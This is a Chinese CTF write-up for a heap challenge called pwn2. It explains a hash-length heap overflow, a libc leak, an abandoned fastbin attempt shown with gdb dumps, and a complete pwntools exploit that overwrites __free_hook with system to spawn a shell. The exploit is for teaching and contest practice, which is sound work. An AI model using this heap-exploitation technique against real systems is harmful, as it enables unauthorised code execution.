429ctf线下赛 pwn2 writeup

这道题是一道跟堆相关的题，但是漏洞比较明显，在 editHashEntry这个函数中，可以先把 hashtype 从md5_16改成sha256, 相对应的 hash len也就从16改成了64，然后调用editHashCode 函数，这个函数并没有重新分配更大的空间，而是直接调用`get_ninput`，产生了溢出。

```
__int64 __fastcall exp_editHashCode(int idx)
{
  puts("input new hashcode");
  get_ninput(ptr[idx]->HashCode, ptr[idx]->hashLen);// 存在溢出,把 hashType 从 hashlen 长度短的替换成长度长的
  return 0LL;
}
```

首先要 leak libc 的地址，由于溢出的字节很多，我们可以把HashEntry这个结构体里的entryName或者HashCode覆盖掉，然后调用queryHashEntry函数，把地址 leak 出来。

```
HashEntry       struc ; (sizeof=0x18, mappedto_1)
00000000 hashLen         dd ?
00000004 field_4         dd ?
00000008 entryName       dq ?                    ; offset
00000010 HashCode        dq ?                    ; offset
00000018 HashEntry       ends
00000018
```

leak 之后要考虑怎么 getshell 了。由于程序开启了RELRO保护，所以不能修改 got 表，那么只能去改 malloc_hook或者是free_hook， 由于这道题是64位的，又是堆溢出，第一个想到的就是通过 fastbin 的 malloc 来write anything anywhere。但是这个思路做到最后有个坑。通过溢出把 fastbin 链表中的 chunk 的 fd 指针修改之后（修改的时候要注意 绕过 libc 的check size字段检查, 64位 fastbin 最大是0x80)，要 malloc 两次，但是问题是程序中并不是直接调用 malloc 函数的，而是先把用户输入放在栈上，然后通过strdup函数来间接的 malloc。而 strdup 函数会用 strlen 来计算需要 malloc 的空间，所以用户输入的字符串会被0字节截断。

```
//漏洞程序中获取用户输入的地方
    puts("input entry name");
    get_input_line_break(buf, 1000);
    pHash = ptr[idx];
    pHash->entryName = strdup(buf);
```

```
//libc 里计算最大的 fastbin 大小
730 #ifndef DEFAULT_MXFAST
731 #define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
732 #endif

```

```
/* libc 中 strdup 的源代码 */
/* Duplicate S, returning an identical malloc'd string.  */
38  char *
39  __strdup (const char *s)
40  {
41    size_t len = strlen (s) + 1;
42    void *new = malloc (len);
43
44    if (new == NULL)
45      return NULL;
46
47    return (char *) memcpy (new, s, len);
48  }
```

但是在栈上输入的时候就需要把 payload 布置好了，而system函数的地址是必定包含\x00的，所以即使你输入足够长的字符串，想malloc 出正确的 fastbin，但是 strdup 会在\x00处截断字符串，所以字符串的长度就有可能偏小，从而 malloc 不到正确的 fastbin。在 free_hook和 malloc_hook 的周围观察了一圈，各自只有一个地址可以绕过 size 的 check，但是那个地方与 hook 的距离不够，无法 malloc 到篡改过的 fastbin。

```
gdb-peda$ x/30gx 0x7ffff7dd1b10-0x80
0x7ffff7dd1a90 <_IO_wide_data_0+208>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1aa0 <_IO_wide_data_0+224>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1ab0 <_IO_wide_data_0+240>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1ac0 <_IO_wide_data_0+256>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1ad0 <_IO_wide_data_0+272>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>:   0x00007ffff7dd0260
0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a93270
0x00007ffff7a92e50
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a92c80  0x0000000000000000
```

程序运行到入口时 free_hook附近的状态，

```
gdb-peda$ x/20gx 0x7ffff7dd37a8-0x80
0x7ffff7dd3728 <proc_file_chain_lock+8>:    0x0000000000000000
0x0000000000000000
0x7ffff7dd3738: 0x0000000000000000  0x0000000000000000
0x7ffff7dd3748 <dealloc_buffers>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd3758 <_IO_list_all_stamp>:    0x0000000000000000
0x0000000000000000
0x7ffff7dd3768 <list_all_lock+8>:   0x0000000000000000
0x0000000000000000
0x7ffff7dd3778 <_IO_stdfile_2_lock+8>:  0x0000000000000000
0x0000000000000000
0x7ffff7dd3788 <_IO_stdfile_1_lock+8>:  0x0000000000000000
0x0000000000000000
0x7ffff7dd3798 <_IO_stdfile_0_lock+8>:  0x0000000000000000
0x0000000000000000
0x7ffff7dd37a8 <__free_hook>:   0x0000000000000000  0x0000000000000000
```

运行到某个状态 free_hook附近的状态

```
gdb-peda$ x/30gx 0x7fbc1d6377a8-0x80
0x7fbc1d637728 <proc_file_chain_lock+8>:    0x0000000000000000
0x0000000000000000
0x7fbc1d637738: 0x0000000000000000  0x0000000000000000
0x7fbc1d637748 <dealloc_buffers>:   0x0000000000000000
0x0000000000000000
0x7fbc1d637758 <_IO_list_all_stamp>:    0x0000000000000000
0x0000000000000000
0x7fbc1d637768 <list_all_lock+8>:   0x0000000000000000
0x0000000000000000
0x7fbc1d637778 <_IO_stdfile_2_lock+8>:  0x0000000000000000
0x0000000000000000
0x7fbc1d637788 <_IO_stdfile_1_lock+8>:  0x0000000000000000
0x0000000100000001
0x7fbc1d637798 <_IO_stdfile_0_lock+8>:  0x00007fbc1d842700
0x0000000000000000
0x7fbc1d6377a8 <__free_hook>:   0x0000000000000000  0x0000000000000000
```

都没有可以利用的地址。

正确的思路

后来发现自己白白绕了一大圈，既然已经可以改掉 HashEntry 结构体的内容，那么直接改掉结构体中HashCode的值，然后调用editHashCode就可以修改任意地址的值了。直接把free_hook改成 system 函数的地址。

```
/* deleteHashEntry 中的free代码 */
if ( idx >= 0 && idx <= 99999 && ptr[idx] )
  {
    free(ptr[idx]->entryName);
    free(ptr[idx]->HashCode);
    free(ptr[idx]);
    ptr[idx] = 0LL;
    result = 0LL;
  }
```

然后新建一个 HashEntry，把 entryName 设置成"sh"， 然后 free 这个 HashEntry 就能 getshell 了。

利用代码

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='amd64', os='linux', log_level='debug')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.* r-xp .* {}$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

def gen_rop(func_addr, args):
    """
    automate generate rop function
    _gadgets array contains gadgets address for 0,1,2,... args
    """
    _gadgets = []
    rop = ""
    rop += p32(func_addr)
    if len(args) > 1:
        rop += _gadgets[len(args)]
        for arg in args:
            rop += p32(args)
    return rop


_program = 'pwn2'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

```

```python
elf = ELF('./' + _program)

if _pwn_remote == 0:
    os.environ['LD_PRELOAD'] = ''
    libc = ELF('./libc.so.6')
    p = process('./' + _program)

    if _debug != 0:
        if elf.pie:
            _bps = [] #breakpoints defined by yourself, not absolute addr, but offset addr of the program's base addr
            _offset = __get_base(p, os.path.abspath(p.executable))
            _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
        else:
            _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
else:
    libc = ELF('./libc6-i386_2.19-0ubuntu6.9_amd64.so') #todo
    p = remote('8.8.8.8', 4002) #todo

def new_hash(hash_type, name, code):
    p.sendlineafter("option", str(1))
    p.sendlineafter("hash type", hash_type)
    p.sendlineafter("entry name", name)
    p.sendlineafter("hashcode", code)

def del_hash(idx):
    p.sendlineafter("option", str(2))
    p.sendlineafter("input id", str(idx))

def edit_hash(idx, option, new_value):
    if option == "type":
        optn = 1
    elif option == "code":
        optn = 3
    elif option == "name":
        optn = 2
    p.sendlineafter("option", str(3))
    p.sendlineafter("input id", str(idx))
    p.sendlineafter("option", str(optn))
    p.sendline(new_value)

def query_hash(hash_type, pattern):
    p.sendlineafter("option", str(4))
    p.sendlineafter("input type", hash_type)
    p.sendlineafter("pattern\n", pattern)
    p.recvuntil("name=")
    name = p.recvline().strip()
```

```
    p.recvuntil("hashcode=")
    hashcode = p.recvline().strip()
    return name, hashcode

########################## leak libc
#####################################
new_hash("md5_16", "bbb", 'a' * 16)
new_hash("md5_16", "ccc", 'a' * 16)

edit_hash(0, "type", "sha256")

fake_st = [
        0, #prev size
        0x21, #size
        0x10, #hash_len
        0x601f78, #name
        0x601f80, #code
        0x21
        ]
payload = ''.join([p64(_) for _ in fake_st])

edit_hash(0, "code", 'a' * 16 + payload)
name, code = query_hash("md5_16", ".")
free_addr = u64(name.ljust(8, '\x00'))
libc.address = free_addr - libc.symbols['free']
free_hook_addr = libc.symbols['__free_hook']

raw_input("attach")
########################## write malloc hook
############################
fake_st = [
        0, #prev size
        0x21, #size
        0x10, #hash_len
        0x601f78, #name
        free_hook_addr, #code
        0x21
        ]
payload = ''.join([p64(_) for _ in fake_st])
edit_hash(0, "code", 'a' * 16 + payload)

edit_hash(1, "code", p64(libc.symbols['system']) + 'a' * (16 - 8))
edit_hash(1, "name", "sh\x00")

del_hash(1)
p.interactive()
"""
new_hash("md5_16", 'a' * 16, 'a' * 16)
edit_hash(2, "type", "sha1")
```

```
edit_hash(2, "name", 'a' * 100)
edit_hash(2, "name", 'a' * 200)
edit_hash(2, "code", 'a' * 16 + p64(0) + p64(0x71) +
p64(free_hook_addr - 19))

new_hash("md5_16", 'a' * 100, 'a' * 16)

print "free() addr:", hex(free_addr)
print "puts() addr:", hex(u64(code.ljust(8, '\x00')))
print "libc base addr:", hex(libc.address)
print "free_hook addr", hex(libc.symbols['__free_hook'])
raw_input("wait for attach")

new_hash("md5_16", 'a' * 19 + p64(libc.symbols['system']) + 'a' *
(100-8-19), 'a' * 16)
new_hash("md5_16", 'sh\x00', 'a' * 16)
####
del_hash(5)
"""
```